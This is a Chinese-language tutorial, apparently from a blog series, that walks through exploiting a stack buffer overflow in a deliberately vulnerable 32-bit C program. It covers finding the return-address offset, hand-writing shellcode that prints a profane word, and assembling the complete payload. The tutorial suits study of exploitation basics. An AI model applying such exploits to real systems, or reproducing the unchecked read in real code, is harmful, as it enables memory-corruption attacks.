- #include <stdio.h>
- #include <string.h>
-
- int main(int argc, char *argv[])
- {
- char buf[32];
- FILE *fp;
-
- fp = fopen(“bad.txt”, “r”);
- if (!fp) {
- perror(“fopen”);
- return 1;
- }
-
- fread(buf, 1024, 1, fp);
- printf(“data: %s\n”, buf);
-
- return 0;
- }
示例代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
下文就是这个程序作为漏洞代码,一步步剖析如何攻击。
编译程序
gcc -Wall -g -fno-stack-protector -o stack1 stack1.c -m32 -Wl,-zexecstack
笔者的Linux操作系统是64位的Ubuntu操作系统(12.04),该系统已支持数据执行保护功能和栈溢出检测功能。因此,使用-fno-stack-protector选项禁用栈溢出检测功能,-m32选项指定生成32位应用程序,-Wl,-zexecstack选项支持栈段可执行。
如果是32位Linux可以直接编译:gcc -Wall -g -o stack1 stack1.c
尝试修改EIP,控制执行路径
那么,该如何利用该缓冲区溢出问题,控制程序执行我们预期的行为呢?
buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要我们覆盖了该地址,就可以修改程序的执行路径。
为此,需要知道从文件读取多少个字节,才开始覆盖EIP呢。一种方法是反编译程序进行推导,另一种方法是基测试的方法。我们选择后者进行尝试,然后确定写个多少字节才能覆盖EIP.
为了避免肉眼去数字符个数,使用perl脚本的计数功能,可以很方便生成字特殊字符串。下面是字符串重复和拼接用法例子:
输出30个\’A\’字符
$ perl -e \’printf “A”x30\’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
输出30个\’A\’字符,后追加4个\’B\’字符
$ perl -e \’printf “A”x30 . “B”x4\’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
尝试的方法很简单,EIP前的空间使用\’A\’填充,而EIP使用\’BBBB\’填充,使用两种不同的字母是为了方便找到边界。
目前知道buf大小为32个字符,可以先尝试填充32个\’A\’和追加\’BBBB\’,如果程序没有出现segment fault,则每次增加\’A\’字符4个,直到程序segment fault。如果 \’BBBB\’刚好对准EIP的位置,那么函数返回时,将EIP内容将给PC指针,0x42424242(B的ascii码为0x42)是不可访问地址,马上segment fault,此时eip寄存器值就是0x42424242 。
我机器上的测试过程:
$ perl -e \’printf “A”x32 . “B”x4\’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒
已溢出,造成输出乱码,但没有segment fault
$ perl -e \’printf “A”x36 . “B”x4\’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e \’printf “A”x40 . “B”x4\’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
没有segment fault
$ perl -e \’printf “A”x44 . “B”x4\’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB▒▒▒▒
输出乱码,但没有segment fault
$ perl -e \’printf “A”x48 . “B”x4\’ > bad.txt ; ./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBSegmentation fault (core dumped)
产生segment fault.
使用调试工具gdb分析此时的eip是否为0x4244242
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 6043]
warning: Can\’t read pathname for load map: Input/output error.
Core was generated by `./stack1\’.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register eip
eip 0x42424242 0x42424242
分析core文件,发现eip被写成\’BBBB\’,注入内容中的\’BBBB\’刚才对准了栈中存放EIP的位置。
找到EIP位置,离成功迈进了一大步。
注入执行代码
控制EIP之后,下步动作就是往栈里面注入二进指令顺序,然后修改EIP执行这段代码。那么当函数执行完后,就老老实实地指行注入的指令。
通常将注入的这段指令称为shellcode。这段指令通常是打开一个shell(bash),然后攻击者可以在shell执行任意命令,所以称为shellcode。
为了达到攻击成功的效果,我们不需要写一段复杂的shellcode去打开shell。为了证明成功控制程序,我们在终端上输出”FUCK”字符串,然后程序退出。
为了简单起引, 我们shellcode就相当于下面两句C语言的效果:
write(1, “FUCK\n”, 5);
exit(0);
在Linux里面,上面两个C语句可通过两次系统调用(调用号分别为4和1)实现。
下面32位x86的汇编代码shell1.s:
- start:
- xor eax, eax
- xor ebx, ebx
- xor ecx, ecx
- xor edx, edx ; 寄存器清零
-
- mov bl, 1
- add esp, string – start ; 调整esp指向字符串
- mov ecx, esp
- mov dl, 5
- mov al, 4
- int 0x80 ;write(1, “FUNC\n”, 5)
-
- mov al, 1
- mov bl, 1
- dec bl
- int 0x80 ; exit(0)
-
- string:
- db “FUCK”,0xa
接着做编译和反编译
编译命令:nasm -o shell1 shell1.s
反编译命令: ndisasm shell1
反编译结果如下:
- 00000000 31C0 xor ax,ax
- 00000002 31DB xor bx,bx
- 00000004 31C9 xor cx,cx
- 00000006 31D2 xor dx,dx
- 00000008 B301 mov bl,0x1
- 0000000A 83C41D add sp,byte +0x1d
- 0000000D 89E1 mov cx,sp
- 0000000F B205 mov dl,0x5
- 00000011 B004 mov al,0x4
- 00000013 CD80 int 0x80
- 00000015 B001 mov al,0x1
- 00000017 B301 mov bl,0x1
- 00000019 FECB dec bl
- 0000001B CD80 int 0x80
- 0000001D 46 inc si
- 0000001E 55 push bp
- 0000001F 43 inc bx
- 00000020 4B dec bx
- 00000021 0A db 0x0a
根上述反编译出来的字节码,使用如下的perl命令来生成:
perl -e \’printf “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”\’
那么,将之前测试的那段注入内容拼在一块,生成的命令如下:
perl -e \’printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”\’ > bad.txt
打通任督二脉
上面找到修改EIP的位置,但这个EIP应该修改为什么值,函数返回时,才能执行注入的shellcode呢。
很简单,当函数返回时,EIP值弹出给PC,然后ESP寄存器值往上走,刚才指向我们的shellcode。因此,我们再使用上面的注入内容,生成core时,esp寄存器的值,就是shellcode的开始地址,也就是EIP应该注入的值。
$ perl -e \’printf “A”x48 . “B”x4 . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”\’ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
Segmentation fault (core dumped)
$ gdb ./stack1 core -q
Reading symbols from /home/ivan/exploit/stack1…done.
[New LWP 7399]
warning: Can\’t read pathname for load map: Input/output error.
Core was generated by `./stack1\’.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info register esp
esp 0xffffd710 0xffffd710
esp值为0xffffd710,EIP注入值就是该值,但由于X86是小端的字节序,所以注入字节串为”\x10\xd7\xff\xff”
所以将EIP原来的注入值\’BBBB\’变成“\x10\xd7\xff\xff”即可。再次测试:
$ perl -e \’printf “A”x48 .“\x10\xd7\xff\xff” . “\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x46\x55\x43\x4b\x0a”\’ > bad.txt ;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒1▒1▒1ҳ▒▒▒▒▒̀▒▒▒▒̀FUCK ▒/▒▒
FUCK
成功了,程序输出FUCK字符串了,证明成功控制了EIP,并执行shellcode.
小结
这里没有任何魔术手法,完全是利用缓冲区溢出漏洞,控制程序执行用户注入的一段shellcode。是否要动手试试,那赶快吧,但不同的机器,EIP对准的位置是不一样的,请大家测试时注意。
本文介绍的是最古老(10+前年)的攻击技术,当前硬件已支持数据保护功能,也即栈上注入的指令无法执行,同时现在操作系统默认启用地址随机化功能,很难猜测到EIP注入的地址。
但这里技术,都不妨碍我们学习最古老的攻击技术;后面的文章会沿着攻防的思路,介绍保护机制以及新一轮的攻击技术。
============= 回顾一下本系列文章 ==============